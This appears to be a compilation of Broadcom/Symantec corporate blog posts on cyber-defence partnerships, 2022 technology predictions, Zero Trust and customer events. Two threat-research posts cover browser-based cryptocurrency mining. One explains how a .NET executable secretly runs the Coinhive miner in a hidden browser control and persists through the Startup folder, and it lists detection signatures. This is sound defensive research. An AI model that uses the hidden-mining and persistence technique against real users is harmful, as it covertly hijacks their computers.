text
stringlengths 0
383k
|
|---|
Broadcom Software Selected as Member in the JCDC
A more unified approach to security is on the way
“We must, indeed, all hang together or, most assuredly, we shall all hang separately.”
- Benjamin Franklin
Introduction
These last 18 months have been difficult for all of us -- feelings of isolation, loneliness, and helplessness – but they also taught us resilience, and that by working together, we can solve problems that were insurmountable if we acted alone. This pandemic landscape has been matched in cyber space, with daily ransomware attacks causing enterprises large and small, as well as ordinary citizens, to feel vulnerable and helpless. Just as the pandemic requires community buy-in with government and citizens working together, so too will combatting malicious cyber actors to protect our organizations. This is where the Joint Cyber Defense Collaborative (JCDC) comes in.
What is the JCDC?
As the name suggests, the JCDC is a joint collaboration between federal agencies and the private sector led by the Cyber Security and Infrastructure Security Agency (CISA) to strengthen the nation’s cyber defenses through planning, preparation, and information sharing. The purpose of the JCDC, as directed by Congress to the Department of Homeland Security (DHS), was to establish an “office for joint cyber planning” to develop “for public and private entities” plans to defend against cyber attacks posing a risk to critical infrastructure or national interests.
Congress was acting on one of the Cyber Space Solarium Commission’s recommendations, which noted in its report that the number of U.S. government created cyber security organizations makes it difficult “to achieve the unity of effort required to conduct layered cyber defense” as well as to “collaborate with the private sector and conduct cyber operations as part of whole-of-nation campaigns.”
Those of us in the private sector have felt similar sentiments regarding the various public-private partnerships led by different federal agencies, as well as not clearly understanding the differences between the partnerships and how, or if, they coordinated efforts. Often we’ve passed threat information to the federal government, but we didn’t know if and how that information was used. The JCDC aims to correct for that, creating a unified effort among government agencies and private sector partners to share threat information, validate it, and act upon it.
Who makes up the JCDC?
The JCDC is comprised of several federal agencies at the forefront of US cyber defense. In addition to CISA, the FBI, the Office of the Director of National Intelligence, the Justice Department, U.S. Cyber Command, and the National Security Agency are all participating. Thirteen private sector companies, in addition to Broadcom Software, were selected as Alliance Members in the JCDC, including AT&T, Amazon Web Services, and Google Cloud.
The private sector companies represented bring unique capabilities and insights across national critical functions. And we all have regularly collaborated with and contributed resources to assist the US government in cyber defense. Symantec, on its own and now as a division of Broadcom Software, has a history of partnering with the U.S. Government to protect the threat landscape, and we’re excited to continue our relationship with the federal government through the JCDC to strengthen our nation’s cyber defense.
How does it work?
The JCDC plans to promote national resilience by coordinating actions to identify, protect against, detect, and respond to malicious cyber activity targeting U.S. critical infrastructure.
The idea is to be proactive, not reactive, so when an attack does occur both public and private sector entities will know who will be responsible for certain actions, and how to respond. We shouldn’t be trying to figure things out after every attack. What feels different with the JCDC is that both the public and private sector will be planning our responses together. Multiple agencies and multiple companies will be offering their insight on how to best defend our nation against cyber-attacks. While the initial focus will be on ransomware attacks and securing the cloud, other defenses may be readied as the threat landscape evolves.
The information shared will not be one-way, and it will be useful to both the government and the private sector. As CISA Director Jen Easterly said at the kickoff meeting, this will not be just information sharing but “information enabling” as the information won’t be dated or waiting to be analyzed, but will be timely and relevant, allowing all of us to make informed decisions. The idea is to take fractured elements and see things together, allowing for better visibility for both the private and public sector.
How is the JCDC different?
Having worked at the FBI in national security for 15 years, the idea of bringing public and private sector expertise to see a more complete picture and plan a more effective response resonates with me. While at the FBI, I saw that investigations and analyses provided eyes on potential bad guys, but it was hard to have insight into potential victims. One of the reasons I found the Symantec business so appealing when I joined was the insight it has on where the bad guys may be lurking. Symantec/Broadcom Software has enormous visibility into the threat landscape with hundreds of millions of endpoints which it analyzes to better protect you, our customers. The insights into trends and visibility with the big picture we have, along with the other companies involved, can’t be seen completely by the federal government. And likewise, the federal government has authorities and visibility into bad actors unattainable by the private sector.
I’ve attended several JCDC meetings now and believe that it is taking the right steps to be a transformative partnership. It is a maturation of previous partnerships; unifying our cyber defense planning, taking into account lessons learned; and engaging the private sector from the beginning. The JCDC is poised to utilize all instruments of power and take fractured elements to see a more complete picture, together. So while you may feel alone in protecting your organizations, a more unified, collaborative approach is on the way. As National Cyber Director Chris Inglis stated, if the JCDC works as imagined, the “adversary [will need] to beat all of us to beat one of us.”
|
Broadcom Software Shows How the Cyber Defence Centre Will Help in 2022
Why this is a game-changer for cyber security management
Broadcom Software published our blog: Predictions for 2022 and will now explore each of these as part of a blog series. This is the 4th in that series.
Enterprises and operators of critical infrastructure have long been on the front lines of cyber security. Most recently new threats have been identified through our Symantec Threat Hunter team, including Lazarus, Verblecon and Daxin. And of course the previous attacks forcing major service interruptions on large infrastructure.
More CEOs and boards of directors are taking direct oversight of cyber security to avoid becoming a victim of a crippling cyber attack. But putting plans in place to respond to cyber threats and establish controls that align with the organization’s overall business objectives, is often easier said than done. In their planning to get their security house in order, the task can be overwhelming. Indeed, despite the increased attention to corporate security, common vulnerabilities still leave most corporate networks open to breaches.
A Global Problem
Clearly, cyber security is a shared, global problem, one that demands a concerted, global response. Which is why the availability of a new framework to equip members with the proper training, services, and technologies marks a major advance.
The Cyber Defence Centre (CDC) framework is the outgrowth of collaborative work at the International Telecommunication Union (ITU), the arm of the United Nations responsible for all matters related to information and communication technologies. The framework that ITU delegates came up with isn’t just theoretical, it provides a scoring system to help CDCs determine how and by whom security services are implemented, including insourcing, outsourcing, or some combination of the two. It also indicates how a CDC should determine and implement security services to enable the security of an organization.
The framework establishes a state-of-the-art, multilingual, global governance approach that’s available to everyone.
The document gets granular at times - but that's what's needed – codifying the services will help accelerate or align capacity building efforts. The framework establishes a state-of-the-art, multilingual, global governance approach that’s available to everyone. With this document as their guide, organizations can lay out the build, management and evaluation processes that go into making a successful CDC. Ultimately, it removes any guesswork about what to do next.
Of course, there’s nothing mandatory here. Organizations are still responsible for setting their own policies and are free to decide how they want to allocate their resources. But for the first time, they can turn to a globally approved blueprint to step them through the process of everything from strategic management to incident response to their relationship with external parties.
A Common Language
Outsiders hearing about this for the first time may well ask themselves why organizations haven’t been able to figure this out by themselves. They do. But each organization is likely to go its own way. Indeed, when we ask CISOs to define what a SOC is or should be, the answers are all over the map.
That presents problems because if you don’t have a common language to describe the job for each constituency (private and public organizations) in a security context, countries and regions won’t be able to effectively organize and collaborate around cyber defense.
But with a framework providing a guideline to build their security capabilities, organizations can be confident that they’re conducting their SOC transformation around a common framework. What’s more, they will be able to:
Quickly achieve agreement, buy-in, and defuse personal preferences
Guide future decision-making and help achieve success even if there are team conflicts
Attract top job candidates who want to work for a best-in-class SOC built upon this world-class industry framework
The Future is Here
Given how rapidly the cyber security world is changing, fragmented organizational responses won’t be enough to fend off today’s global threat actors. That’s why the CDC is going to be a game-changer when it comes to cyber security management for 2022 and beyond. To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
|
Broadcom Software Shows Why Adoption of AI-Driven Solutions is Accelerating in 2022
Artificial Intelligence is poised to transform Enterprise Software
In December 2021, Broadcom Software published our blog: Predictions for 2022. We will now explore each of these in more depth with this blog series.
Artificial Intelligence
The Artificial Intelligence (AI) transformation is taking place even faster than anticipated, with increasing numbers of enterprise companies incorporating AI software into their development process. As I mentioned in my previous predictions blog from December, about what to expect in 2022, AI is not only based in the future - it is here.
We’re already seeing a range of activities, such as AI-driven services and development tools with AI bots being used in software testing. And as AI and machine learning methods become more widespread, enterprise software developers increasingly rely upon them to create better software code. Indeed, the global AI software market is expected to reach $62 billion this year, but this is just the early stages of a more fundamental shift.
You already can find bug prediction tools such as Google’s w3C that make use of Machine Learning algorithms and deeper statistical analysis to find bad code. Similarly, developers also have access to AI-driven frameworks such as Accord.Net to integrate libraries with C# language, including features such as self-learning algorithms, signal processing, scientific computing and pattern recognition, among others.
Developers are also benefiting from the proliferation of AI-based programming assistants such as Kite for Python that provide help with code recommendations and debugging routines. Another example is GitHub Copilot, an AI programmer that not only removes the guesswork from coding but also offers suggestions on how to generate better code.
Transforming Software Development
And these are just the coming attractions for what’s over the horizon. With businesses looking to improve their internal processes and foster more data-driven decision making, AI is going to transform software development as we know it. Let me briefly explain how this is likely going to unfold.
First, artificial intelligence algorithms are designed to make decisions, often by using real-time data. This leads to powerful insights since – unlike humans – AI algos can instantly comb through mountains of disparate data for insights and then recommend or take the appropriate action based on their analysis of the data.
Think about what this means for the future of project planning. The process of software development can be complex and time-consuming. It must go through various stages from ideation and product definition to strategic designing, coding and testing. But we’re already seeing AI’s impact, reducing failure rates by 75% in the software production environment.
The Artificial Intelligence (AI) transformation is taking place even faster than anticipated, with increasing numbers of enterprise companies incorporating AI software into their development process.
With AI, developers will be able to more rapidly gather all the relevant information needed to gain an in-depth understanding of the project requirements.
As more AI-based tools become available, developers will have a way to efficiently go through the millions of lines of undocumented code – something beyond the capabilities of mere mortals by themselves – to locate helpful snippets as needed. AI assistants will help search out development patterns in code to determine where it can be reused. This constitutes a breakthrough moment where developers will be able to make connections and find patterns and, often, predict future directions as AI systems will recommend options that might escape most humans.
All this is going to translate into more rapid prototyping so enterprises can develop and deploy apps that register vast improvements in overall user experience. The upshot: a more streamlined workflow. That not only makes software developers and testers more productive, but it also optimizes procedures, and, ultimately, contributes to the production of far better code.
Evolving AI
Some within the software community have expressed concern about their longevity in a world that’s increasingly dependent on AI. It’s obviously impossible to predict the unknown with certainty but while AI will inevitably force an evolution in the role of software developers, I think it’s likely that the worst-case scenarios are overblown.
First, we’re talking about a transition that is going to play out over a period of years – perhaps even decades – so we’re far from the point when AI systems are going to replace coders. More immediately, AI can have a major positive impact on how developers work. Instead of wasting their time on boring, rote tasks, developers can instead hand those chores off to an artificially intelligent machine so they can tackle more complex and interesting problems.
Broadcom Software and AI
Let’s not forget software development is complex and it needs a human brain to give it direction. Instead of reducing jobs, AI has the potential to translate into more demand for software developers who can work together with AI to write better code.
For years, proponents have touted the revolutionary impact AI was going to have in enterprise computing. We’re fast approaching that tipping point.
Contact Broadcom Software now to see how we can help you solve for your AI-driven enterprise software needs.
|
Broadcom Software Shows Why the Move to the Edge is Accelerating in 2022
Edge computing is expanding across the enterprise
Broadcom Software published our blog: Predictions for 2022 and we will now explore each of these as part of this blog series. This is the 3rd in that series.
The future has a way of quickly becoming the present.
A couple of decades ago, when nearly all centralized computing ran in data centers, companies began talking about how to accelerate decision-making and reduce latency issues that frustrated users (commonly referred to as the "world wide wait"). This problem became more acute as the increasing use of mobile and IoT devices put new strain on existing internet infrastructure.
The technology world responded by shifting toward a new model in which the storage and processing of data would be conducted as close as possible to the end user. This decentralization of computer power, known as edge computing, progressed slowly; in 2018, just 10% of enterprise data was being processed outside of cloud-based data centers.
The Speed of Transition
But seemingly overnight, we’ve witnessed a surge in momentum – thanks in no small part to the massive spread of the Internet of Things and the need to close a widening gap between collecting data from equipment and using it to improve business.
Gartner now estimates the percentage of data that gets created and processed on the edge will reach 75% within the next 3 years as more enterprises understand the advantages of moving computing resources to the physical location of data creation. The speed of this transformation is extraordinary and you can now find deployments essentially everywhere with edge computing expanding across industries and use cases. Indeed, worldwide spending on edge computing is expected to reach $176 billion in 2022, an increase of 14.8% over last year, according to IDC.
Edge, AI and the Future
Edge computing solutions take many forms and a big reason for its popularity is that edge deployments help address use cases that the cloud can’t. It’s why edge is finding a role in the development of autonomous vehicles as well as in the remote monitoring of assets in the gas and oil industry. It's also playing a key role in smart grids, where it can monitor energy use and analyze consumption as well as in predictive maintenance to proactively detect changes in production lines before problems crop up.
Think about the implications for manufacturing sites involved with what’s known as the Industrial Internet of Things (IIOT). Edge computing-driven insights will be able to help plants reduce waste and also improve overall product quality. And it will make for greater safety by finding issues, allowing maintenance teams to recognize changes in factory conditions and then respond in real time.
Edge computing solutions take many forms and a big reason for its popularity is that edge deployments help address use cases that the cloud can’t.
Consider the example offered by the luxury car maker, Audi, which requires its manufacturing facilities to be fully loaded with IoT devices with low-latency demands. Each plant can turn out 1,000 vehicles a day, with more than 5,000 welds per car. But that also means 5 million welds to inspect each day. The company adopted an inline inspection of each weld, where sensors on every welding-gun are able to analyze data surrounding each weld; that information all gets processed in real-time on the edge.
All this scratches the surface when you think about the future as enterprises combine edge computing with the power of Artificial Intelligence (AI) and machine learning (ML). This is going to happen when you consider the heavy investments enterprises are already making in AI. Indeed, a McKinsey survey last year reported that half of the respondents said they had implemented AI in at least one business function. The advent of Edge AI, as it’s being called, has a lot of people rightly excited about the prospects of an era annotated by even faster computing, improved data security, and more efficient operational controls.
Broadcom Software
But I’m getting ahead of myself. As I mentioned above, we all saw this transition as inevitable as we moved forward – the surprise is the pace of this move to the edge. And that’s why this is turning into one of the most important tech themes for 2022 – and beyond. For more information on how Broadcom Software can help modernize, optimize and protect your enterprise – contact us here.
|
Broadcom Software Shows Why Zero Trust is Important Everywhere
It is fast becoming a must have for 2022 and beyond
In December 2021, Broadcom Software published our blog: Predictions for 2022. We will now explore each of these in more depth with our next blog series.
Prediction: Zero Trust becomes table stakes
Bad actors are stepping up their attacks, and companies have new problems to solve for.
For example, with nearly half (47%) of business leaders planning to allow employees to work remotely full time in the post-Covid era, more company personnel are using their own or shared devices, sometimes over unsecured networks.
Meanwhile, geopolitical conflicts are threatening to cause spillover effects on corporate networks. A specific example of this was a new form of disk-wiping malware (Trojan.Killdisk) being used to attack organizations in Ukraine shortly before the launch of a Russian invasion on February 24. Symantec, a division of Broadcom Software, also found evidence of wiper attacks against machines in Lithuania which targeted areas in financial, defense, aviation, and IT services sectors.
And the most recent Verizon security report found that over 80% of breaches involve brute force or the use of lost or stolen credentials.
Perimeter defenses are a relic of the past, and it’s time for CIOs to reexamine dated assumptions -- not the least of them being an over-reliance upon VPNs to protect company security. Even before the pandemic forced companies, seemingly overnight, to shift to remote work, the migration of business to the cloud raised new questions about the ability of conventional perimeter-based defenses to protect critical systems and data. Those questions can’t be put off any longer.
New Threats Call for New Thinking
When Forrester coined the Zero Trust security model in 2010, they were looking to represent a methodology for how to transact business securely based on the principle of "never trust, always verify.” It was a data-centric model where you don’t trust anything going on inside or outside of the perimeter. It meant continuously verifying every user and device and always assuming your organization will be breached.
I can understand why some might be wary of Zero Trust, as it constitutes a very different philosophy of how we should secure our infrastructure, networks, and data. But there’s a reason why this is the right idea.
The Zero Trust model rests upon one fundamental tenet: don’t trust any actor, system, network, or service operating outside or within the security perimeter. Period. That means verify everybody and everything trying to establish access. And it doesn’t stop with just verifying once at the perimeter; it also involves continual verification of each user, device, application, and transaction.
Context becomes critical to establishing trust. In some contexts, you’ll have very little trust, and in other contexts, more trust– all based on risk-based policies. That means coming up with answers to different questions, such as the health of the device and its security. For example: Is it on a known network or an unknown one? Is it located in a specific geo-location? What are the governance conditions?
Ultimately, everything boils down to context and determining the level of risk an organization is willing to take. Then it becomes a matter of putting the right controls in place and determining the level of risk as the company decides what to allow, what to block and what’s required to enable identities to access resources.
The World is 'Getting It'
Perhaps then it’s unsurprising that in January of this year,
The Office of Management and Budget published a Federal Zero Trust architecture strategy, outlining specific cyber security standards and objectives that federal agencies must meet by the end of Fiscal Year (FY) 2024. It also reflects the government’s increased sense of urgency about cyber security. Last spring the White House announced an executive order to modernize the government’s IT infrastructure and bolster its ability to withstand cyber attacks. (You can read more about what it means here.)
Meanwhile, Forrester notes that two-thirds of those agencies plan to increase their investment in Zero Trust technology deployments this year.
But this transition remains uneven. Only a little more than one-third of the organizations surveyed by Forrester have begun the work to deploy a Zero Trust strategy. Just 6% reported having fully deployed their rollout. The encouraging news is that it’s only a matter of time before things change markedly for the better. That same Forrester report found that 68% of organizations intend to increase their Zero Trust investment this year.
So, it’s now a race against time. We know what’s out there – the so-called “known unknowns” – and it’s not good. How soon we can put a Zero Trust strategy in practice to make sure we can mitigate those threats is the question. The clock is ticking.
Contact Broadcom Software now to see how we can help you achieve Zero Trust at scale.
|
Broadcom Software: The Return to Face to Face Customer Engagements
Personal engagement is critical to our business
It’s been great to see people returning to face-to-face meetings in recent months – for us at Broadcom Software, a little more than most.
Talk about timing: just as we completed the acquisition of Symantec in November 2019, a global pandemic hit. With companies shutting their offices and shifting to remote work, Covid restrictions limited our ability to communicate with customers about the great value the acquisition brings our customers to mostly virtual communication channels. Even after we formed Broadcom Software as a dedicated business one year after closing the deal, the timing still wasn’t quite right to return to in-person meetings on a large scale.
My team and I finally got back on the road last month, holding three customer events over a week in London, Paris, and Bologna. And what a tremendous experience it was.
You can be very well positioned in the market in terms of scale and reach. You can have a very well thought through strategy. And you can communicate your strategy via virtual communication channels. At Broadcom Software, we take pride in being able to check all three of those boxes. But these live customer events reminded me just how critical face-to-face communications is for successful business relationships.
It doesn’t matter how good everything looks on paper; when you’re the CIO, CTO, CISO or CPO of a large organization dealing with a big supplier of many of your business-critical applications, face-to-face, personal engagement with the individuals driving those software roadmaps and supporting services is critical.
Over the course of our conversations, customers talked about three primary challenges where the pandemic left an indelible mark including:
Evolution to an increasingly hybrid digital environment
Maximum agility and efficiency require employees and business critical applications being able to transition seamlessly with the same experience, protected by the same security policies, across on-premises, cloud and remote working environments. To support that, a core part of our mission is to enable customers to consume software in whatever format they want, across those different environments. Our Web Protection Suite (WPS) is a good example.
Reducing costs through the simplification of IT operations
Many of our customer environments are burdened with an accumulation of vendors, vendor software and commercial agreements that either overlap with each other or outright duplicate one another. It’s not uncommon for us to come across customers with a couple of hundred vendors in the same security stack. Often exacerbated by historical M&A activity, it’s also quite common to see large customers with offices all over the world that have dozens of different commercial agreements in place – all with the same vendor.
It’s not unusual either for customers to share with us that in some parts of their organization they are still trying to figure out what software is running where and under what licensing agreement. It was great to feel the enthusiasm in London, Paris and Bologna for the efficiencies our breadth and scale of operation can bring customers in procuring and managing their software. To give just one example, our Portfolio License Agreement (PLA) provides a single license allowing access to our entire portfolio spanning all our acquired companies.
Lingering skills gap
We’re not just intimately familiar with the cybersecurity space, where the shortage of skilled people shows little sign of abating. We have the same visibility into the challenges finding people who can serve the mainframe market, a shortage that’s made worse as older, skilled experts exit the workforce for retirement. Our Vitality program is a great example of the kind of hiring, training, and customer placement programmes we are investing in to counter that trend. Vitality is a skills development program designed to cultivate next-gen mainframe talent. And while Vitality serves the mainframe market, I was able to share with customers that we intend to expand our existing training programmes in other core security and agile operations market segments as well.
A last take-away from our mini-European tour. Customers I met with invest a lot of time figuring out how to adjust their strategy and operating model in response to disruptive market forces. Whether we’re talking about geopolitical impacts on supply chain operations, new entrants in the marketplace, or intensified M&A activity by competitors, many customers spend as much time thinking about how to reinvent their operating model as they do on optimizing their current model. As a large and trusted partner, one that’s intimate with current models, it’s clear to me that we’re very well placed to help shape these ideas as well as enable customers to execute on their transformation.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
|
Broadcom Supports White House Executive Order to Increase U.S. Cyber Security Defenses
Great first step to address federal cyber vulnerabilities
Spurred by the recent cyber security attacks, including this past weekend’s DarkSide ransomware attack on Colonial Pipeline, President Biden issued an Executive Order (EO) proclaiming that efforts to effectively prevent, detect, and respond to cyber-attacks are essential to our national and economic security. We couldn’t agree more.
The impact of these large scale attacks is no longer confined to businesses and governments but to society as a whole. With eighty-five percent of American critical infrastructure owned by private companies, and few regulations governing how those companies must protect their computer networks, these attacks are now impacting how we function. More and more, we are seeing cyber attacks that impact our daily lives, including gas shortages and price increases causing some governors to declare a state of emergency. This attack demonstrated that ransomware is no longer nebulous bits and bytes in the cloud, but now has a much more human impact.
As a long standing and trusted government partner, Broadcom has and will continue to provide timely, valuable and actionable information to support our government and private sector partners.
The EO specifically identifies Endpoint Detection and Response as well as Zero Trust Architecture as necessary tools to protect against ransomware and other cyber attacks. Symantec, as a division of Broadcom, has and continues to protect its customers with our Endpoint Detection and Response (EDR), and Zero Trust architecture solutions.
Additionally, the EO further removes barriers to sharing information between the private sector and federal government. More than ever, the increasing threat landscape has underscored the need for strong public-private partnerships to protect our nation. As a long standing and trusted government partner, Broadcom has and will continue to provide timely, valuable and actionable information to support our government and private sector partners.
This EO signifies a great first step in prioritizing and re-evaluating our approach to cyber security. We look forward to engaging with the Administration and our federal government partners as it takes steps to modernize and improve cyber security defenses. Broadcom will continue to provide products and services to our customers to protect their assets, data, networks and reputation ensuring that the day-to-day lives of citizens remain protected.
|
Browser-based coin mining without a browser?
Malware launches a web-based cryptocurrency miner without any visible sign of a browser being used.
Browser-based cryptocurrency mining is making a lot of headlines recently and is affecting millions of users. This type of activity doesn’t take over your computer or steal your personal information, instead its goal is to use your CPU cycles to earn money. As covered in our previous cryptocurrency mining blog, browser-based mining activity exploded in the last few months of 2017. While this type of coin mining can be done in a legitimate way, where the user is informed and consent given for the mining taking place, it is illegitimate mining that concerns us.
So far we’ve seen JavaScript and also WebAssembly (WASM) files being used for browser-based mining, but what’s next? How about browser-based coin mining that doesn’t involve a browser being opened? While this may sound strange, we recently came across a case where this method was being used. The case involved a portable executable file launching a web-based coinminer script to begin mining for cryptocurrency. Let’s take a closer look.
How it works
The file in question is a .net executable file (0x231a3fbbc025c659be407c316aba4392f8a13915f08580398bca21082723dbf8), and .net executable files can contain various element to define different resources used by the executable. One of the resources defined within the resource section of this executable defines a user interface window (aka a form) named Form1. When we looked closer at the code that defines this form, we saw that it contained a script tag that references the Coinhive in-browser mining script, which is a clue to what this executable might do.
Figure 1. Resource section referencing the Coinhive mining script from within a form contained in the .net executable
Figure 1 shows that the JavaScript contains a reference to hxxps://coinhive[.]com/lib/miner.min.js and we already know that the Coinhive script is used for browser-based coin mining. This made us wonder what this JavaScript was doing in a PE file, so we dug a little deeper and found that it used some rather interesting techniques.
The first thing we noticed after executing the file was that while mining was taking place and the Coinhive website was being visited, we didn’t see any browser running in the background. So how exactly is this JavaScript executed?
This WebBrowser class enables the malware to navigate web pages inside the form and, as long as the form remains hidden, there will not be any visible cues that a browser is running.
We can see in Figure 2 that a component resource manager is created of type Form1. We saw earlier how the Coinhive script is referenced in the code of Form1. The TextBox1.Text string of Form1 contains the JavaScript shown in Figure 1, which is responsible for the coin-mining activity. Also, a class named WebBrowser1 is created of WebBrowser class. This WebBrowser class enables the malware to navigate web pages inside the form and, as long as the form remains hidden, there will not be any visible cues that a browser is running.
Figure 2. Code that loads the Coinhive mining script into a WebBrowser object to begin mining
In Figure 3 we can see that the Webrowser1.DocumentText property of the WebBrowser class is given the value of TextBox1.Text, which is the JavaScript in the resource section responsible for coin mining.
Figure 3. Code that refers to the JavaScript responsible for coin mining
This DocumentText property of the WebBrowser class manipulates the contents of an HTML page displayed in the WebBrowser control using string processing tools. This means that the Navigating, Navigated, and DocumentCompleted events occur when this property is set, and the value of the URL property is no longer meaningful so will be ignored. Instead, the DocumentText property is loaded by the browser object which causes the coin-mining script to run. This gives the effect of running web browser based functionality but without a browser to be seen.
To make sure that the mining restarts after each reboot, the originally executed PE file is also added to the Startup folder with the name windata0.exe.
Tell-tale signs of browser mining
The usual tell-tale sign of browser-based coin mining is a sudden, unexpected and sustained ramp up in CPU activity. This usually manifests itself as sluggishness in the computer’s performance. When these symptoms are encountered while browsing the internet, a user might suspect that browser mining is taking place. But with an executable based browser miner, like the one discussed in this blog, the user won’t see any browser windows open so may not suspect the slowdown to be a symptom of coin mining and may, for example, blame installed software for the problem.
However, using some simple tools allows us to see what’s responsible for maxing out the CPU. Using Windows Task Manager we can confirm the CPU load on the computer and, with some additional system analysis tools, we can see a number of network connections being made to coinhive.com, which confirms the presence of a miner using Coinhive scripts.
Figure 4. Signs that can confirm the presence of cryptocurrency mining activity on a computer
We can also capture WebSocket traffic using network analysis tools and see the traffic sent between the miner and the server, which may include calculated hashes sent to the mining pool while the mining code is running.
Figure 5. Captured network traffic showing communications between mining script and mining pool server
Detection of browser-based mining activity remains high
As already mentioned, browser-based miners became quite prevalent in the last few months of 2017. We can see the percentage change when looking at our network protection telemetry.
Figure 6. Month by month percentage change in browser based mining activity
Even with the recent large drops in cryptocurrency values since late January, incidents of browser-based cryptocurrency mining remains high.
As we have seen in this blog, the criminals behind illegitimate mining continue to find new ways to highjack their victims’ processing power in order to enrich themselves. Symantec will continue to monitor their activities and respond in kind.
Protection
Intrusion Prevention System (IPS)
Signatures related to browser-based miners:
Web Attack: Bitcoinminer Download Request 2
Web Attack: Bitcoinminer Download Request 3
Web Attack: JSCoinminer Download
Web Attack: JSCoinminer Download 10
Web Attack: JSCoinminer Download 12
Web Attack: JSCoinminer Download 13
Web Attack: JSCoinminer Download 14
Web Attack: JSCoinminer Download 16
Web Attack: JSCoinminer Download 21
Web Attack: JSCoinminer Download 22
Web Attack: JSCoinminer Download 23
Web Attack: JSCoinminer Download 24
Web Attack: JSCoinminer Download 27
Web Attack: JSCoinminer Download 34
Web Attack: JSCoinminer Download 35
Web Attack: JSCoinminer Download 36
Web Attack: JSCoinminer Download 37
Web Attack: JSCoinminer Download 38
Web Attack: JSCoinminer Download 39
Web Attack: JSCoinminer Download 40
Web Attack: JSCoinminer Download 41
Web Attack: JSCoinminer Download 6
Web Attack: JSCoinminer Download 7
Web Attack: JSCoinminer Download 8
Web Attack: JSCoinminer Website
Web Attack: Trojan.Coinbitminer Download
Antivirus
Trojan.Coinminer
|
Browser-Based Cryptocurrency Mining Makes Unexpected Return from the Dead
Once thought of as dead, browser-based cryptocurrency mining makes an unlikely return, coming back to haunt websites and their visitors.
Browser-based cryptocurrency mining activity exploded in the last few months of 2017. After many years of deathly silence, the catalyst appears to be the launch of a new browser-based mining service in September by Coinhive. This service wraps everything up nicely in an easy-to-use package for website owners and has injected new life into an idea that was long thought of as dead and buried.
Highlights of this blog
Browser-based cryptocurrency mining is not new; it's been around since at least 2011.
A surge in the cryptocurrency market in 2017, as well as availability of coins that are mineable using home hardware and easy-to-use JavaScript APIs, has led to a torrent of malicious browser-based mining affecting many well-known and lesser-known websites.
Mobile devices have not been spared from cryptocurrency mining, as witnessed by a 34 percent increase in the number of mobile apps incorporating cryptocurrency mining code.
Tried, tested, and buried
Browser-based mining, as its name suggests, is a method of cryptocurrency mining that happens inside a browser and is implemented using scripting language. This is different compared to the more widely known file-based cryptocurrency mining approach which involves downloading and running a dedicated executable file.
Browser-based mining dates back to May of 2011 when an innovative service called BitcoinPlus.com was initially launched—back when Bitcoin was cheap and mining was easy—not to be confused with another cryptocurrency known as Bitcoin Plus.org (XBC). That service was in many ways remarkably similar to its modern reincarnation, Coinhive. It used JavaScript code for pooled mining and website owners could sign up to the service and embed these scripts into their web pages to make page visitors mine for them. The big difference is that back in 2011 BitcoinPlus.com, as its name suggests, mined for Bitcoin (BTC) whereas the current browser-based miners like Coinhive are mining for Monero (XMR)—a newer, privacy-focused cryptocurrency. Back in 2011, before the advent of ASIC mining in 2013, Bitcoin was still in its infancy, mining difficulty was relatively low, and cryptocurrency prices were even lower. It was (just about) possible to do some mining with home-grade hardware.
Even though it was possible at that time to mine for Bitcoin via BitcoinPlus.com, the reality of the situation was that it was largely a futile exercise. The reward was minuscule compared to the amount of mining power and electricity required. Of course, this was back in the days before Bitcoin prices shot through the roof—in June 2011, Bitcoin reached the then lofty heights of almost US$30.
Figure 1. BitcoinPlus.com was a browser-based miner for Bitcoin dating from 2011
Due to this fundamental profitability problem with browser-based mining, it soon withered away. However, the idea was once again revived in December 2013 by a group of MIT students in a project called Tidbit—ostensibly touted as an alternative way for website owners to raise revenue. Once again, this project didn’t last long, as soon after it started the New Jersey Division of Consumer Affairs stepped in to investigate the fledgling company on charges of unlawful access to "a person’s computer processing power." This resulted in a long drawn out case which was finally settled in 2015.
The case for browser-based mining wasn’t looking good. The growing problem of profitability was made even worse by the increasing use of ASIC miners. The advent of ASIC miners dragged bitcoin mining out of the realm of home users and into an industrial age dominated by the massive mining farms that we are more familiar with today. After the demise of Tidbit, the idea of browser-based JavaScript cryptocurrency mining largely died away once again.
Despite these setbacks, key lessons were learned. The point of a service like Tidbit was never about single servers or high-end computers doing solo mining. The true power of this service came from scaling up and pooling the potentially massive combined mining power of masses of users with average hardware visiting a website. Higher website traffic means higher returns and sooner or later, somebody was bound to figure out a better way to get browser mining to work on end users' computers more efficiently.
Dawn of the dead
Fast forward to September 2017, the cryptocurrency landscape compared with 2013 had changed drastically. In April 2013, the cryptocurrency market only had a handful of coins and the total market capitalization was just $1.5 billion. The market for cryptocurrency was extremely limited and illiquid, meaning that even if you got some, it was not easy to turn it back into fiat currency for spending. Contrast that with September 2017 when the market capitalization stood at an incredible $166 billion spread over more than a thousand different coins.
Together with the diversity of coins to choose from in 2017, there was also now a diversity of coin reward mechanisms. Some, like Bitcoin, can still only be mined via a proof-of-work (PoW) process using dedicated power-hungry ASIC hardware—though there have been attempts to change this, with the various hard forks such as Bitcoin Gold (BTG) and Bitcoin Diamond (BCD), to bring in GPU mining. Other cryptocurrencies like Monero, Ethereum (ETH), Ethereum Classic (ETC), and Dash (DASH) can be mined using retail-grade GPU hardware found in many home computers. There are also some that are more suited to CPU mining; these include Monero and Verium Reserve (VRM). The trading environment is massively different too; it’s now much easier to move between fiat currencies and cryptocurrencies, making the latter more useful and valuable.
It's against this backdrop that Coinhive released its browser-mining scripts designed to mine Monero, effectively bringing the idea of browser-based mining back from the dead.
News spreads fast
Coinhive is marketed as an alternative to browser ad revenue. The motivation behind this is simple: users pay for the content indirectly by coin mining when they visit the site and website owners don't have to bother users with sites laden with ads, trackers, and all the associated paraphernalia being downloaded to the browser. Users hopefully then get a cleaner, faster, and potentially less risky website (remember malvertising?) to use, and everybody is happy. What could go wrong?
Soon after the release of the Coinhive service, the hash rate for the service started to climb, and quickly too. Hash rate is the number of hashes calculated by the combined power of the mining pool and is measured in the number of hashes per second—usually in units of millions (MH/s). Hashing is the process of carrying out cryptographic hash calculations which are used to help process transactions. Miners who participate in a mining pool get paid a share of income generated by the pool.
According to a blog by Coinhive, the hash rate for their pool climbed from 0 MH/s to 3 MH/s in a couple of days before reaching 13.5 MH/s in the space of a week. To put that into perspective, the total network hash rate (the total amount of mining power for all computers mining) for Monero stood at around 260 MH/s on September 20, 2017. The Coinhive pool reached just over five percent of that total which is quite an achievement in such a short time.
Figure 2. Monero network hash rate August-November 2017. Source: Coinwarz.com
Monero can be mined with CPUs and GPUs, but the Coinhive browser-based mining service only works for CPU mining which is a limitation that substantially reduces potential returns.
